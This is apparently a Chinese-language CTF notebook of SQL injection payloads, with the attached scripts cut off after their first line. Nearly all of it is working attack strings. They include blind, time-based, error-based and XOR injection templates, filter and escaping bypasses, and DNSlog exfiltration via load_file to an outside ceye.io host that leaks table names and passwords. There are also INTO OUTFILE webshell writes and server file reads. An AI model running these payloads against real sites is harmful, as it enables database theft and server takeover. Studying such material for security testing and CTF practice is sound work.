前言
本篇文章专门用于记录做SQL注入类题目的做题姿势,会不断更新。
判断注入常用的的方式
| 1 | ' // 报错有可能存在注入 | 
延时注入检测payload
| 1 | admin' AND (SELECT 4792 FROM (SELECT(SLEEP(5)))Nttm) AND 'fJzs'='fJzs | 
| 1 | 1 and (select 6583 from (select(sleep(5)))SjTQ) | 
过滤绕过
等于号被过滤
| 1 | and=`&&` or=`||` xor=`|` not=`!` | 
| 1 | $sql = select * from user where id=1; | 
逗号绕过
| 1 | select substr(database() from 1 for 1); | 
空格被过滤,替代方法
| 1 | %09 TAB键(水平) | 
可用注释符
| 1 | --+ | 
使用等价函数绕过关键字被过滤
| 1 | 编码 | 
| 1 | hex()、bin() ==> ascii() | 
ord 被过滤
ascii
preg_match 绕过
数组绕过
绕过addslashes转义
宽字节注入
| 1 | %DF' union select 1,2,3 -- - | 
information_schemab.tables 被过滤
替代表
| 1 | mysql.innodb_table_stats | 
注意:MySQL5.6以上才有 sys 库
| 1 | sys.x$schema_table_statistics(只能查表名,查不到列名) | 
| 1 | sys.schema_auto_increment_columns(可获取表名和库名) | 
| 1 | sys.schema_table_statistics_with_buffer(可获取表名) | 
注入语法
sqllit注入
| 1 | 
 | 
异或注入语法
判断
| 1 | 1^1^1 // 1 | 
猜测表名
| 1 | 1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>0)^1 | 
猜测列名
| 1 | 1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='表名')),1,1))>0)^1 | 
猜测值
| 1 | 1^(ord(substr((select(group_concat(列名))from(表名)),1,1))>0)^1 | 
报错注入语法
| 1 | and extractvalue(1, concat(0x7e, (语句))) | 
| 1 | and updatexml(1, concat(0x7e, (语句), 0x7e), 1) | 
0x7e可代替的字符有:’~’ ‘$’
updatexml的concat可以代替的函数有:make_set
update报错注入
| 1 | select group_concat(password) from (select * from users)b | 
表名可控注入
| 1 | control=users where updatexml(1,concat(0x5e24,(user()),0x5e24),1) --+&id=1 | 
布尔盲注语法
猜数据库名长度
| 1 | and (length(database())=%d --+ | 
猜数据库名
| 1 | and (ord(mid(database(),%d,1))='%s') --+ | 
猜数据库中所有表数量
| 1 | and %d=(select count(table_name) from information_schema.tables where table_schema=database())--+ | 
猜数据库中单个表长度
| 1 | and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+ | 
猜数据库单个表名
| 1 | and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+ | 
猜表中字段数量
| 1 | and %d=(select count(column_name) from information_schema.columns where table_name='%s' and table_schema=database())--+ | 
猜表中单个字段长度
| 1 | and (select length(column_name) from information_schema.columns where table_name='%s' and table_schema=database() limit %d ,1)=%d --+ | 
猜表中单个字段名
| 1 | and ord(mid((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1),%d,1))=%d --+ | 
猜表中字段名的字段值数量
| 1 | and (select count(%s) from %s )=%d --+ | 
猜表中字段名的字段值长度
| 1 | and (select length(%s) from %s limit %d,1)=%d --+ | 
猜表中字段名的字段值
| 1 | and ord(mid((select %s from %s limit %d,1),%d,1))=%d --+ | 
时间盲注语法
| 1 | and if(条件语句, sleep(3), 1) | 
时间盲注函数
sleep()
benchmark()
时间盲注&dnslog的利用
使用DnsLog盲注仅限于windos环境
查数据库
| 1 | SELECT LOAD_FILE(CONCAT('\\\',(select database(),'mysql.cmr1ua.ceye.io\\abc'))) | 
| 1 | http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+ | 
查表名
| 1 | http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.cmr1ua.ceye.io\\abc'))--+ | 
查字段
| 1 | ' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.cmr1ua.ceye.io\\abc'))--+ | 
查数据
| 1 | ' and load_file(concat('\\\\',(select password from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+ | 
注意:因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去
| 1 | ' and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+ | 
参考:https://www.cnblogs.com/xhds/p/12322839.html
dns平台:http://ceye.io/records/dns
无列名注入(只知道表名的情况下查询数据)
子查询绕过
| 1 | (select `2` from (select 1,2,3 union select * from table_name)a) //前提是要知道表名 | 
| 1 | ((select c from (select 1,2,3 as c union select * from users)b)) 1,2,3是因为users表有三列,实际情况还需要猜测表的列的数量 | 
join爆破列名
| 1 | ?id=-1' union all select * from (select * from users as a join users as b)as c--+//as主要作用是起别名,就是把users表当做a表,常规来说as可以省略 | 
| 1 | ?id=-1' union all select*from (select * from users as a join users as b using(id,username))as c--+ | 
逐字符检索数据
这里的select 1 是对应字段的位置 比如 id username password 1 就对应id 2就对应 username 3就对应 password
| 1 | mysql> select (select 1,'c') > (select * from users limit 0,1); | 
regexp注入
order by 盲注
查看表内容未完全显示的方法
not in 排除的方式显示
| 1 | table_name='users' and table_schema=database() and column_name not in ("username"))))#&passwd=12 | 
left right 截断的方式显示
| 1 | select(group_concat(left(password,25))) | 
正则直接匹配
| 1 | test"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1)# | 
reserver逆序输出
| 1 | test"||updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1)# | 
字符串截取函数
| 1 | left(str,index) 从左边第index开始截取 | 
####
sql注入getshell
写入一句话
| 1 | union select 1,2,'一句话木马' into outfile "绝对路径" | 
| 1 | union select 1,@@basedir,@@datadir 查看网站路径 | 
读取文件
| 1 | union/**/select 1,load_file("/var/www/html/flag.php"),3,4 %23 | 
特殊知识点的解决方法
| 1 | $sql="SELECT username,password FROM admin WHERE username='".$username."'";if (!empty($row) && $row['password']===md5($password)){ | 
| 1 | username=admin' union select 1,md5(123)#&password=123 | 
二次注入的payload
[网鼎杯2018]Unfinish
| 1 | 0'+( substr(hex(hex((select * from flag ))) from (%d-1)*10+1 for 10))+'0 | 
脚本
异或盲注脚本
| 1 | import requests | 
[网鼎杯2018]Unfinish 拿flag脚本
| 1 | import requests | 
自己写的脚本(用于dvwa和sqllib靶场)
布尔盲注
| 1 | import requests | 
时间盲注
| 1 | import requests |